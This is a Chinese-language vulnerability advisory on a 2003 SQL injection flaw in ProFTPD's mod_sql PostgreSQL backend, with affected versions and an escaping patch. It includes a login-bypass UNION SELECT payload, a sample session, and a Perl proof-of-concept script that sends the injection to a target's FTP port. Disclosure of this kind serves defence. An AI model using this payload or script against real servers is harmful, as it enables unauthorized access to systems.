ProFTPD SQL注入mod_sql漏洞

发布时间：2003-06-19
更新时间：2003-06-25
严重程度：高
威胁程度：远程非授权文件存取
错误类型：输入验证错误
利用方式：服务器模式

BUGTRAQ ID：7974

受影响系统

ProFTPD Project ProFTPD 1.2 pre9
ProFTPD Project ProFTPD 1.2 pre8
ProFTPD Project ProFTPD 1.2 pre7
ProFTPD Project ProFTPD 1.2 pre6
ProFTPD Project ProFTPD 1.2 pre5
ProFTPD Project ProFTPD 1.2 pre4
ProFTPD Project ProFTPD 1.2 pre3
ProFTPD Project ProFTPD 1.2 pre2
ProFTPD Project ProFTPD 1.2 pre11
ProFTPD Project ProFTPD 1.2 pre10
ProFTPD Project ProFTPD 1.2 pre1
ProFTPD Project ProFTPD 1.2 .0rc3
   + Conectiva Linux ecommerce
   + Conectiva Linux graficas
   + Conectiva Linux 5.0
   + Conectiva Linux 5.1
   + Conectiva Linux 6.0
   + Conectiva Linux 7.0
   + MandrakeSoft Linux Mandrake 7.2
   + MandrakeSoft Linux Mandrake 8.0
   + MandrakeSoft Linux Mandrake 8.0 ppc
   + MandrakeSoft Linux Mandrake 8.1
   + MandrakeSoft Linux Mandrake 8.1 ia64
ProFTPD Project ProFTPD 1.2 .0rc2
ProFTPD Project ProFTPD 1.2 .0rc1
ProFTPD Project ProFTPD 1.2
   + Cobalt Qube 2.0
   + Cobalt Qube 3.0
   + Cobalt RaQ 1.1
   + Cobalt RaQ 2.0
   + Cobalt RaQ 3.0
ProFTPD Project ProFTPD 1.2.1
ProFTPD Project ProFTPD 1.2.2 rc3
ProFTPD Project ProFTPD 1.2.2 rc1
ProFTPD Project ProFTPD 1.2.2
ProFTPD Project ProFTPD 1.2.3
ProFTPD Project ProFTPD 1.2.4
ProFTPD Project ProFTPD 1.2.5 rc1
ProFTPD Project ProFTPD 1.2.5
ProFTPD Project ProFTPD 1.2.6
ProFTPD Project ProFTPD 1.2.7 rc3
ProFTPD Project ProFTPD 1.2.7 rc2
ProFTPD Project ProFTPD 1.2.7 rc1
ProFTPD Project ProFTPD 1.2.7
ProFTPD Project ProFTPD 1.2.8
ProFTPD Project ProFTPD 1.2.9 rc1

详细描述
ProFTPD存在SQL注人攻击。

如果ProFTPD使用mod_sql模块进行PostgreSQL数据库操作，由于对用户提供给用户名和密码的数据缺少充分过滤，提交恶意SQL命令可绕过验证，直接访问FTP服务器。

测试代码
Name (localhost:runlevel): ')UNION SELECT
'u','p',1001,1001,'/tmp','/bin/bash' WHERE(''='
331 Password required for ')UNION.
Password:
230 User ')UNION SELECT 'u','p',1001,1001,'/tmp'
,'/bin/bash' WHERE(''=' logged in.

-----------------------------------------------------------------

#!/usr/bin/perl
# Sql inject on ProFTPD with mod_sql proof of concept script
# runlevel [ runlevel@raregazz.org ]
# Spain, 2003

use IO::Socket;
if(@ARGC<2){
    print "\nProof Of Concept Sql Inject on ProFTPD\n";
    print "Usage: perl poc-sqlftp <target> [1=Alternate query]\n\n";
    exit(0);
};

$server = $ARGV[0];
$query = $ARGV[1];
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$server,PeerPort=>"21",Reuse=>1)
                          or die "Can't connect. \n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}

# Proof of concept query, it may change on the number of rows
# By default, it can query User, Pass, Uid, Gid, Shell or
# User, Pass, Uid, Gid, Shell, Path, change the union query...

if($query eq "1"){
    print $remote "USER ')UNION SELECT'u','p',1002,1002,'/tmp','/bin/bash'WHERE(''='\n";
}else{
    print $remote "USER ')UNION SELECT'u','p',1002,1002,'/bin/bash' WHERE(''='\n";
};
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print $remote "PASS p\n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print "Sent query to $ARGV[0]\n";
if($line =~ /230/){  #logged in
    print "[------- Sql Inject Able \n";
}else{
    print "[------- Sql Inject Unable \n";
}
close $remote;

解决方案
相关补丁如下，此补丁需要PostgreSQL高于7.2版本：

Index: contrib/mod_sql_postgres.c
===================================================================
RCS file: /cvsroot/proftp/proftpd/contrib/mod_sql_postgres.c,v
retrieving revision 1.15
diff -u -r1.15 mod_sql_postgres.c
--- contrib/mod_sql_postgres.c 29 May 2003 07:29:43 -0000 1.15
+++ contrib/mod_sql_postgres.c 17 Jun 2003 20:52:30 -0000
@@ -1105,23 +1105,13 @@
conn = (db_conn_t *) entry->data;

/* Note: the PQescapeString() function appeared in the C API as of
- * Postgres-7.2; this macro allows for functioning with older postgres
- * installations. Unfortunately, Postgres' PG_VERSION is defined as
- * a string, not an actual number, which makes for preprocessor-time checking
- * of that value much harder.
- *
- * Ideally, this function could be detected by a configure script, but
- * ProFTPD does not yet support per-module configure scripts.
+ * Postgres-7.2.
*/
-#ifndef POSTGRES_NO_PQESCAPESTRING
unescaped = cmd->argv[1];
escaped = (char *) pcalloc(cmd->tmp_pool, sizeof(char) *
(strlen(unescaped) * 2) + 1);

PQescapeString(escaped, unescaped, strlen(unescaped));
-#else
- escaped = cmd->argv[1];
-#endif

sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_escapestring");
return mod_create_data(cmd, (void *) escaped);

相关信息
参考：http://www.securityfocus.com/bid/7974
http://www.securityfocus.com/advisories/5517

最近严重漏洞

ProFTPD SQL注入mod_sql漏洞